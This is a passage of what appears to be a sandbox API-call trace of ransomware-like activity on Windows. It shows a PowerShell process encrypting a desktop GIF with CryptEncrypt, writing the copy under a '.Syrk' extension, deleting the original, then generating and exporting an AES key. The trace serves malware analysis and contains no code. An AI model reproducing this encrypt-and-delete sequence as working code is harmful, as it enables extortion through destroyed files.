lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x34 [0197.142] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\Desktop\\5wD jaVgryR0UBy6Yy26.gif", nBufferLength=0x34, lpBuffer=0x3e84f8, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kEecfMwgj\\Desktop\\5wD jaVgryR0UBy6Yy26.gif", lpFilePart=0x0) returned 0x33 [0197.142] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x5a2e240) returned 1 [0197.143] CreateFileW (lpFileName="C:\\Users\\kEecfMwgj\\Desktop\\5wD jaVgryR0UBy6Yy26.gif" (normalized: "c:\\users\\keecfmwgj\\desktop\\5wd javgryr0uby6yy26.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x44c [0197.143] GetFileType (hFile=0x44c) returned 0x1 [0197.143] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x5a2e23c) returned 1 [0197.143] GetFileType (hFile=0x44c) returned 0x1 [0197.143] EtwEventActivityIdControl () returned 0x0 [0197.144] GetEnvironmentVariableW (in: lpName="PSModuleAutoLoadingPreference", lpBuffer=0x5a2e608, nSize=0xc9 | out: lpBuffer="") returned 0x0 [0197.144] EtwEventActivityIdControl () returned 0x0 [0197.144] EtwEventActivityIdControl () returned 0x0 [0197.144] EtwEventActivityIdControl () returned 0x0 [0197.145] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\Desktop\\5wD jaVgryR0UBy6Yy26.gif.Syrk", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x39 [0197.145] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\Desktop\\5wD jaVgryR0UBy6Yy26.gif.Syrk", nBufferLength=0x39, lpBuffer=0x3e84f8, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kEecfMwgj\\Desktop\\5wD jaVgryR0UBy6Yy26.gif.Syrk", lpFilePart=0x0) returned 0x38 [0197.145] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x5a2e240) returned 1 [0197.146] CreateFileW (lpFileName="C:\\Users\\kEecfMwgj\\Desktop\\5wD jaVgryR0UBy6Yy26.gif.Syrk" (normalized: "c:\\users\\keecfmwgj\\desktop\\5wd javgryr0uby6yy26.gif.syrk"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x45c [0197.148] GetFileType (hFile=0x45c) returned 0x1 [0197.148] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x5a2e23c) returned 1 [0197.148] GetFileType (hFile=0x45c) returned 0x1 [0197.148] EtwEventActivityIdControl () returned 0x0 [0197.148] CryptGenRandom (in: hProv=0x5c4cdd0, dwLen=0x10, pbBuffer=0x23ea0d8 | out: pbBuffer=0x23ea0d8) returned 1 [0197.152] CryptContextAddRef (hProv=0x5c4cdd0, pdwReserved=0x0, dwFlags=0x0) returned 1 [0197.152] CryptDuplicateKey (in: hKey=0x5c69200, pdwReserved=0x0, dwFlags=0x0, phKey=0x5a2ea08 | out: phKey=0x5a2ea08*=0x5c68c00) returned 1 [0197.152] CryptContextAddRef (hProv=0x5c4cdd0, pdwReserved=0x0, dwFlags=0x0) returned 1 [0197.152] CryptSetKeyParam (hKey=0x5c68c00, dwParam=0x4, pbData=0x23eb548*=0x1, dwFlags=0x0) returned 1 [0197.152] CryptSetKeyParam (hKey=0x5c68c00, dwParam=0x1, pbData=0x23eb514, dwFlags=0x0) returned 1 [0197.153] GetEnvironmentVariableW (in: lpName="PSModuleAutoLoadingPreference", lpBuffer=0x5a2e608, nSize=0xc9 | out: lpBuffer="") returned 0x0 [0197.153] EtwEventActivityIdControl () returned 0x0 [0197.153] EtwEventActivityIdControl () returned 0x0 [0197.153] EtwEventActivityIdControl () returned 0x0 [0197.154] EtwEventActivityIdControl () returned 0x0 [0197.155] ReadFile (in: hFile=0x44c, lpBuffer=0x23ee1b0, nNumberOfBytesToRead=0x14000, lpNumberOfBytesRead=0x5a2ea0c, lpOverlapped=0x0 | out: lpBuffer=0x23ee1b0*, lpNumberOfBytesRead=0x5a2ea0c*=0xca1b, lpOverlapped=0x0) returned 1 [0197.157] CryptEncrypt (in: hKey=0x5c68c00, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x24021c8*, pdwDataLen=0x5a2ea00*=0xca10, dwBufLen=0xca10 | out: pbData=0x24021c8*, pdwDataLen=0x5a2ea00*=0xca10) returned 1 [0197.157] WriteFile (in: hFile=0x45c, lpBuffer=0x23ea228*, nNumberOfBytesToWrite=0x1000, lpNumberOfBytesWritten=0x5a2e9e4, lpOverlapped=0x0 | out: lpBuffer=0x23ea228*, lpNumberOfBytesWritten=0x5a2e9e4*=0x1000, lpOverlapped=0x0) returned 1 [0197.159] WriteFile (in: hFile=0x45c, lpBuffer=0x24031b4*, nNumberOfBytesToWrite=0xba24, lpNumberOfBytesWritten=0x5a2e9e4, lpOverlapped=0x0 | out: lpBuffer=0x24031b4*, lpNumberOfBytesWritten=0x5a2e9e4*=0xba24, lpOverlapped=0x0) returned 1 [0197.160] ReadFile (in: hFile=0x44c, lpBuffer=0x23ee1b0, nNumberOfBytesToRead=0x14000, lpNumberOfBytesRead=0x5a2ea0c, lpOverlapped=0x0 | out: lpBuffer=0x23ee1b0*, lpNumberOfBytesRead=0x5a2ea0c*=0x0, lpOverlapped=0x0) returned 1 [0197.160] CryptEncrypt (in: hKey=0x5c68c00, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x240ec4c*, pdwDataLen=0x5a2ea60*=0x10, dwBufLen=0x10 | out: pbData=0x240ec4c*, pdwDataLen=0x5a2ea60*=0x10) returned 1 [0197.160] CryptEncrypt (in: hKey=0x5c68c00, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x240ec68*, pdwDataLen=0x5a2ea68*=0x0, dwBufLen=0x10 | out: pbData=0x240ec68*, pdwDataLen=0x5a2ea68*=0x10) returned 1 [0197.160] WriteFile (in: hFile=0x45c, lpBuffer=0x23ea228*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x5a2ea38, lpOverlapped=0x0 | out: lpBuffer=0x23ea228*, lpNumberOfBytesWritten=0x5a2ea38*=0x10, lpOverlapped=0x0) returned 1 [0197.160] CloseHandle (hObject=0x45c) returned 1 [0197.407] CloseHandle (hObject=0x44c) returned 1 [0197.409] GetEnvironmentVariableW (in: lpName="PSModuleAutoLoadingPreference", lpBuffer=0x5a2e608, nSize=0xc9 | out: lpBuffer="") returned 0x0 [0197.410] EtwEventActivityIdControl () returned 0x0 [0197.410] EtwEventActivityIdControl () returned 0x0 [0197.410] EtwEventActivityIdControl () returned 0x0 [0197.419] GetFileAttributesW (lpFileName="C:\\Users\\kEecfMwgj\\Desktop\\5wD jaVgryR0UBy6Yy26.gif" (normalized: "c:\\users\\keecfmwgj\\desktop\\5wd javgryr0uby6yy26.gif")) returned 0x20 [0197.421] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\Desktop\\5wD jaVgryR0UBy6Yy26.gif", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x34 [0197.421] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\Desktop\\5wD jaVgryR0UBy6Yy26.gif", nBufferLength=0x34, lpBuffer=0x3e84f8, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kEecfMwgj\\Desktop\\5wD jaVgryR0UBy6Yy26.gif", lpFilePart=0x0) returned 0x33 [0197.422] GetFileAttributesW (lpFileName="C:\\" (normalized: "c:")) returned 0x16 [0197.422] GetFileAttributesW (lpFileName="C:\\" (normalized: "c:")) returned 0x16 [0197.422] GetFullPathNameW (in: lpFileName="C:\\", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x4 [0197.422] GetFullPathNameW (in: lpFileName="C:\\", nBufferLength=0x4, lpBuffer=0x3e84f8, lpFilePart=0x0 | out: lpBuffer="C:\\", lpFilePart=0x0) returned 0x3 [0197.422] GetFileAttributesW (lpFileName="C:\\Users" (normalized: "c:\\users")) returned 0x11 [0197.422] GetFileAttributesW (lpFileName="C:\\Users" (normalized: "c:\\users")) returned 0x11 [0197.422] GetFullPathNameW (in: lpFileName="C:\\Users", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x9 [0197.423] GetFullPathNameW (in: lpFileName="C:\\Users", nBufferLength=0x9, lpBuffer=0x3e84f8, lpFilePart=0x0 | out: lpBuffer="C:\\Users", lpFilePart=0x0) returned 0x8 [0197.423] GetFileAttributesW (lpFileName="C:\\Users\\kEecfMwgj" (normalized: "c:\\users\\keecfmwgj")) returned 0x10 [0197.423] GetFileAttributesW (lpFileName="C:\\Users\\kEecfMwgj" (normalized: "c:\\users\\keecfmwgj")) returned 0x10 [0197.423] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x13 [0197.423] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj", nBufferLength=0x13, lpBuffer=0x3e84f8, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kEecfMwgj", lpFilePart=0x0) returned 0x12 [0197.423] GetFileAttributesW (lpFileName="C:\\Users\\kEecfMwgj\\Desktop" (normalized: "c:\\users\\keecfmwgj\\desktop")) returned 0x11 [0197.423] GetFileAttributesW (lpFileName="C:\\Users\\kEecfMwgj\\Desktop" (normalized: "c:\\users\\keecfmwgj\\desktop")) returned 0x11 [0197.423] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\Desktop", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x1b [0197.424] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\Desktop", nBufferLength=0x1b, lpBuffer=0x3e84f8, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kEecfMwgj\\Desktop", lpFilePart=0x0) returned 0x1a [0197.424] GetFileAttributesW (lpFileName="C:\\Users\\kEecfMwgj\\Desktop\\5wD jaVgryR0UBy6Yy26.gif" (normalized: "c:\\users\\keecfmwgj\\desktop\\5wd javgryr0uby6yy26.gif")) returned 0x20 [0197.424] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\Desktop\\5wD jaVgryR0UBy6Yy26.gif", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x34 [0197.424] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\Desktop\\5wD jaVgryR0UBy6Yy26.gif", nBufferLength=0x34, lpBuffer=0x3e84f8, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kEecfMwgj\\Desktop\\5wD jaVgryR0UBy6Yy26.gif", lpFilePart=0x0) returned 0x33 [0197.427] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\Desktop\\5wD jaVgryR0UBy6Yy26.gif", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x34 [0197.427] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\Desktop\\5wD jaVgryR0UBy6Yy26.gif", nBufferLength=0x34, lpBuffer=0x3e84f8, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kEecfMwgj\\Desktop\\5wD jaVgryR0UBy6Yy26.gif", lpFilePart=0x0) returned 0x33 [0197.427] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x5a2e73c) returned 1 [0197.427] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\Desktop\\5wD jaVgryR0UBy6Yy26.gif", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x34 [0197.427] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\Desktop\\5wD jaVgryR0UBy6Yy26.gif", nBufferLength=0x34, lpBuffer=0x3e84f8, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kEecfMwgj\\Desktop\\5wD jaVgryR0UBy6Yy26.gif", lpFilePart=0x0) returned 0x33 [0197.428] FindFirstFileW (in: lpFileName="C:\\Users\\kEecfMwgj\\Desktop\\5wD jaVgryR0UBy6Yy26.gif\\*" (normalized: "c:\\users\\keecfmwgj\\desktop\\5wd javgryr0uby6yy26.gif\\*"), lpFindFileData=0x5a2e4ec | out: lpFindFileData=0x5a2e4ec*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0xffffffff [0197.428] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x5a2e4ac) returned 1 [0197.428] CoTaskMemAlloc (cb=0x404) returned 0x5c927e8 [0197.428] FormatMessageW (in: dwFlags=0x3200, lpSource=0x0, dwMessageId=0x10b, dwLanguageId=0x0, lpBuffer=0x5c927e8, nSize=0x200, Arguments=0x0 | out: lpBuffer="The directory name is invalid.\r\n") returned 0x20 [0197.428] CoTaskMemFree (pv=0x5c927e8) [0197.433] GetFileAttributesW (lpFileName="C:\\Users\\kEecfMwgj\\Desktop\\5wD jaVgryR0UBy6Yy26.gif" (normalized: "c:\\users\\keecfmwgj\\desktop\\5wd javgryr0uby6yy26.gif")) returned 0x20 [0197.433] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\Desktop\\5wD jaVgryR0UBy6Yy26.gif", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x34 [0197.433] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\Desktop\\5wD jaVgryR0UBy6Yy26.gif", nBufferLength=0x34, lpBuffer=0x3e84f8, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kEecfMwgj\\Desktop\\5wD jaVgryR0UBy6Yy26.gif", lpFilePart=0x0) returned 0x33 [0197.434] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x5a2e404) returned 1 [0197.434] GetFileAttributesExW (in: lpFileName="C:\\Users\\kEecfMwgj\\Desktop\\5wD jaVgryR0UBy6Yy26.gif" (normalized: "c:\\users\\keecfmwgj\\desktop\\5wd javgryr0uby6yy26.gif"), fInfoLevelId=0x0, lpFileInformation=0x244975c | out: lpFileInformation=0x244975c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x313935e0, ftCreationTime.dwHighDateTime=0x1d98ff6, ftLastAccessTime.dwLowDateTime=0x8ba90c10, ftLastAccessTime.dwHighDateTime=0x1d99052, ftLastWriteTime.dwLowDateTime=0x8ba90c10, ftLastWriteTime.dwHighDateTime=0x1d99052, nFileSizeHigh=0x0, nFileSizeLow=0xca1b)) returned 1 [0197.434] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x5a2e400) returned 1 [0197.434] DeleteFileW (lpFileName="C:\\Users\\kEecfMwgj\\Desktop\\5wD jaVgryR0UBy6Yy26.gif" (normalized: "c:\\users\\keecfmwgj\\desktop\\5wd javgryr0uby6yy26.gif")) returned 1 [0197.440] EtwEventActivityIdControl () returned 0x0 [0197.441] GetEnvironmentVariableW (in: lpName="PSModuleAutoLoadingPreference", lpBuffer=0x5a2e608, nSize=0xc9 | out: lpBuffer="") returned 0x0 [0197.441] EtwEventActivityIdControl () returned 0x0 [0197.441] EtwEventActivityIdControl () returned 0x0 [0197.441] EtwEventActivityIdControl () returned 0x0 [0197.861] GetFileAttributesW (lpFileName="C:\\Users\\kEecfMwgj\\Desktop\\5wD jaVgryR0UBy6Yy26.gif.Syrk" (normalized: "c:\\users\\keecfmwgj\\desktop\\5wd javgryr0uby6yy26.gif.syrk")) returned 0x20 [0197.863] GetFileAttributesW (lpFileName="C:\\Users\\kEecfMwgj\\Desktop\\5wD jaVgryR0UBy6Yy26.gif.Syrk" (normalized: "c:\\users\\keecfmwgj\\desktop\\5wd javgryr0uby6yy26.gif.syrk")) returned 0x20 [0197.863] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\Desktop\\5wD jaVgryR0UBy6Yy26.gif.Syrk", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x39 [0197.863] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\Desktop\\5wD jaVgryR0UBy6Yy26.gif.Syrk", nBufferLength=0x39, lpBuffer=0x3e84f8, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kEecfMwgj\\Desktop\\5wD jaVgryR0UBy6Yy26.gif.Syrk", lpFilePart=0x0) returned 0x38 [0197.866] EtwEventActivityIdControl () returned 0x0 [0197.868] GetEnvironmentVariableW (in: lpName="PSModuleAutoLoadingPreference", lpBuffer=0x5a2e660, nSize=0xc9 | out: lpBuffer="") returned 0x0 [0197.868] EtwEventActivityIdControl () returned 0x0 [0197.868] EtwEventActivityIdControl () returned 0x0 [0197.869] EtwEventActivityIdControl () returned 0x0 [0197.877] EtwEventActivityIdControl () returned 0x0 [0197.877] GetEnvironmentVariableW (in: lpName="PSModuleAutoLoadingPreference", lpBuffer=0x5a2e660, nSize=0xc9 | out: lpBuffer="") returned 0x0 [0197.877] EtwEventActivityIdControl () returned 0x0 [0197.877] EtwEventActivityIdControl () returned 0x0 [0197.878] EtwEventActivityIdControl () returned 0x0 [0197.881] EtwEventActivityIdControl () returned 0x0 [0197.881] GetEnvironmentVariableW (in: lpName="PSModuleAutoLoadingPreference", lpBuffer=0x5a2e660, nSize=0xc9 | out: lpBuffer="") returned 0x0 [0197.884] EtwEventActivityIdControl () returned 0x0 [0197.884] EtwEventActivityIdControl () returned 0x0 [0197.884] EtwEventActivityIdControl () returned 0x0 [0197.888] EtwEventActivityIdControl () returned 0x0 [0197.889] GetEnvironmentVariableW (in: lpName="PSModuleAutoLoadingPreference", lpBuffer=0x5a2e660, nSize=0xc9 | out: lpBuffer="") returned 0x0 [0197.889] EtwEventActivityIdControl () returned 0x0 [0197.889] EtwEventActivityIdControl () returned 0x0 [0197.889] EtwEventActivityIdControl () returned 0x0 [0197.894] EtwEventActivityIdControl () returned 0x0 [0197.894] GetEnvironmentVariableW (in: lpName="PSModuleAutoLoadingPreference", lpBuffer=0x5a2e660, nSize=0xc9 | out: lpBuffer="") returned 0x0 [0197.894] EtwEventActivityIdControl () returned 0x0 [0197.894] EtwEventActivityIdControl () returned 0x0 [0197.894] EtwEventActivityIdControl () returned 0x0 [0198.087] EtwEventActivityIdControl () returned 0x0 [0198.095] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x5a2de54) returned 1 [0198.095] GetFileAttributesExW (in: lpFileName="C:\\Users\\kEecfMwgj\\Desktop\\5wD jaVgryR0UBy6Yy26.gif.Syrk" (normalized: "c:\\users\\keecfmwgj\\desktop\\5wd javgryr0uby6yy26.gif.syrk"), fInfoLevelId=0x0, lpFileInformation=0x245be14 | out: lpFileInformation=0x245be14*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf20a3a00, ftCreationTime.dwHighDateTime=0x1da385f, ftLastAccessTime.dwLowDateTime=0xf20a3a00, ftLastAccessTime.dwHighDateTime=0x1da385f, ftLastWriteTime.dwLowDateTime=0xf20c9b60, ftLastWriteTime.dwHighDateTime=0x1da385f, nFileSizeHigh=0x0, nFileSizeLow=0xca34)) returned 1 [0198.095] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x5a2de50) returned 1 [0198.098] GetConsoleOutputCP () returned 0x1b5 [0198.099] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x5a2e57c, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x5a2e57c) returned 0 [0198.099] GetConsoleOutputCP () returned 0x1b5 [0198.100] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x5a2e604, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x5a2e604) returned 0 [0198.100] GetConsoleOutputCP () returned 0x1b5 [0198.100] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x5a2e5e0, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x5a2e5e0) returned 0 [0198.100] GetConsoleOutputCP () returned 0x1b5 [0198.100] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x5a2e5e0, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x5a2e5e0) returned 0 [0198.101] GetConsoleOutputCP () returned 0x1b5 [0198.101] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x5a2e57c, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x5a2e57c) returned 0 [0198.101] GetConsoleOutputCP () returned 0x1b5 [0198.101] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x5a2e604, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x5a2e604) returned 0 [0198.101] GetConsoleOutputCP () returned 0x1b5 [0198.101] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x5a2e5e0, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x5a2e5e0) returned 0 [0198.102] GetConsoleOutputCP () returned 0x1b5 [0198.102] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x5a2e5e0, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x5a2e5e0) returned 0 [0198.102] GetConsoleOutputCP () returned 0x1b5 [0198.102] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x5a2e57c, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x5a2e57c) returned 0 [0198.102] GetConsoleOutputCP () returned 0x1b5 [0198.102] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x5a2e604, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x5a2e604) returned 0 [0198.102] GetConsoleOutputCP () returned 0x1b5 [0198.103] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x5a2e5e0, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x5a2e5e0) returned 0 [0198.103] GetConsoleOutputCP () returned 0x1b5 [0198.103] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x5a2e5e0, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x5a2e5e0) returned 0 [0198.103] GetConsoleOutputCP () returned 0x1b5 [0198.103] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x5a2e57c, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x5a2e57c) returned 0 [0198.103] GetConsoleOutputCP () returned 0x1b5 [0198.104] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x5a2e604, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x5a2e604) returned 0 [0198.104] GetConsoleOutputCP () returned 0x1b5 [0198.104] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x5a2e5e0, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x5a2e5e0) returned 0 [0198.104] GetConsoleOutputCP () returned 0x1b5 [0198.104] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x5a2e5e0, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x5a2e5e0) returned 0 [0198.104] GetConsoleScreenBufferInfo (in: hConsoleOutput=0xf, lpConsoleScreenBufferInfo=0x5a2e6cc | out: lpConsoleScreenBufferInfo=0x5a2e6cc) returned 1 [0198.106] GetConsoleMode (in: hConsoleHandle=0xf, lpMode=0x5a2e6c4 | out: lpMode=0x5a2e6c4) returned 1 [0198.106] WriteConsoleW (in: hConsoleOutput=0xf, lpBuffer=0x2483458*, nNumberOfCharsToWrite=0x4f, lpNumberOfCharsWritten=0x5a2e6b8, lpReserved=0x0 | out: lpBuffer=0x2483458*, lpNumberOfCharsWritten=0x5a2e6b8*=0x4f) returned 1 [0198.107] GetConsoleMode (in: hConsoleHandle=0xf, lpMode=0x5a2e6c4 | out: lpMode=0x5a2e6c4) returned 1 [0198.108] WriteConsoleW (in: hConsoleOutput=0xf, lpBuffer=0x22fe2f4*, nNumberOfCharsToWrite=0x2, lpNumberOfCharsWritten=0x5a2e6b8, lpReserved=0x0 | out: lpBuffer=0x22fe2f4*, lpNumberOfCharsWritten=0x5a2e6b8*=0x2) returned 1 [0198.111] EtwEventActivityIdControl () returned 0x0 [0198.111] EtwEventActivityIdControl () returned 0x0 [0198.114] GetEnvironmentVariableW (in: lpName="PSModuleAutoLoadingPreference", lpBuffer=0x5a2eb1c, nSize=0xc9 | out: lpBuffer="") returned 0x0 [0198.115] EtwEventActivityIdControl () returned 0x0 [0198.115] EtwEventActivityIdControl () returned 0x0 [0198.115] EtwEventActivityIdControl () returned 0x0 [0198.120] GetEnvironmentVariableW (in: lpName="PSModuleAutoLoadingPreference", lpBuffer=0x5a2e774, nSize=0xc9 | out: lpBuffer="") returned 0x0 [0198.121] EtwEventActivityIdControl () returned 0x0 [0198.121] EtwEventActivityIdControl () returned 0x0 [0198.121] EtwEventActivityIdControl () returned 0x0 [0198.124] CryptAcquireContextW (in: phProv=0x5a2e370, szContainer=0x0, szProvider="Microsoft Enhanced RSA and AES Cryptographic Provider", dwProvType=0x18, dwFlags=0xf0000000 | out: phProv=0x5a2e370*=0x5c4cee0) returned 1 [0198.127] CryptGenKey (in: hProv=0x5c4cee0, Algid=0x6610, dwFlags=0x1, phKey=0x5a2e7b0 | out: phKey=0x5a2e7b0*=0x5c68d40) returned 1 [0198.127] CryptContextAddRef (hProv=0x5c4cee0, pdwReserved=0x0, dwFlags=0x0) returned 1 [0198.127] CryptExportKey (in: hKey=0x5c68d40, hExpKey=0x0, dwBlobType=0x8, dwFlags=0x0, pbData=0x0, pdwDataLen=0x5a2e79c | out: pbData=0x0*, pdwDataLen=0x5a2e79c*=0x2c) returned 1 [0198.127] CryptExportKey (in: hKey=0x5c68d40, hExpKey=0x0, dwBlobType=0x8, dwFlags=0x0, pbData=0x248b25c, pdwDataLen=0x5a2e79c | out: pbData=0x248b25c*, pdwDataLen=0x5a2e79c*=0x2c) returned 1 [0198.128] GetEnvironmentVariableW (in: lpName="PSModuleAutoLoadingPreference", lpBuffer=0x5a2e368, nSize=0xc9 | out: lpBuffer="") returned 0x0 [0198.129] EtwEventActivityIdControl () returned 0x0 [0198.129] EtwEventActivityIdControl () returned 0x0 [0198.129] EtwEventActivityIdControl () returned 0x0 [0198.130] SysStringLen (param_1="") returned 0x8 [0198.130] SysStringLen (param_1="J") returned 0x8 [0198.130] SystemFunction040 (in: Memory=0x5c51c94, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x5c51c94) returned 0x0 [0198.130] SysStringLen (param_1="䳔笒✆\ᗚⳤ謥⋈) returned 0x8 [0198.130] SysStringLen (param_1="䳔笒✆\ᗚⳤ謥⋈) returned 0x8 [0198.130] SystemFunction041 (in: Memory=0x5c51c94, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x5c51c94) returned 0x0 [0198.131] SysStringLen (param_1="J5") returned 0x8 [0198.131] SystemFunction040 (in: Memory=0x5c51c94, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x5c51c94) returned 0x0 [0198.131] SysStringLen (param_1="䇼衃鶩鋵奠鏻䉩") returned 0x8 [0198.131] SysStringLen (param_1="䇼衃鶩鋵奠鏻䉩") returned 0x8 [0198.131] SystemFunction041 (in: Memory=0x5c51c94, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x5c51c94) returned 0x0 [0198.131] SysStringLen (param_1="J5Z") returned 0x8 [0198.131] SystemFunction040 (in: Memory=0x5c51c94, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x5c51c94) returned 0x0 [0198.380] SysStringLen (param_1="\뷘㗶孮荙ꨏ챴\᳟") returned 0x8 [0198.380] SysStringLen (param_1="\뷘㗶孮荙ꨏ챴\᳟") returned 0x8 [0198.380] SystemFunction041 (in: Memory=0x5c51c94, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x5c51c94) returned 0x0 [0198.380] SysStringLen (param_1="J5Zw") returned 0x8 [0198.380] SystemFunction040 (in: Memory=0x5c51c94, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x5c51c94) returned 0x0 [0198.380] SysStringLen (param_1="\\\Ῐ\ꇜ鮃쫃僺ᢒ") returned 0x8 [0198.380] SysStringLen (param_1="\\\Ῐ\ꇜ鮃쫃僺ᢒ") returned 0x8 [0198.380] SystemFunction041 (in: Memory=0x5c51c94, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x5c51c94) returned 0x0 [0198.380] SysStringLen (param_1="J5Zw2") returned 0x8 [0198.380] SystemFunction040 (in: Memory=0x5c51c94, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x5c51c94) returned 0x0 [0198.380] SysStringLen (param_1="ꯟ僙麢冘졛諒") returned 0x8 [0198.382] SysStringLen 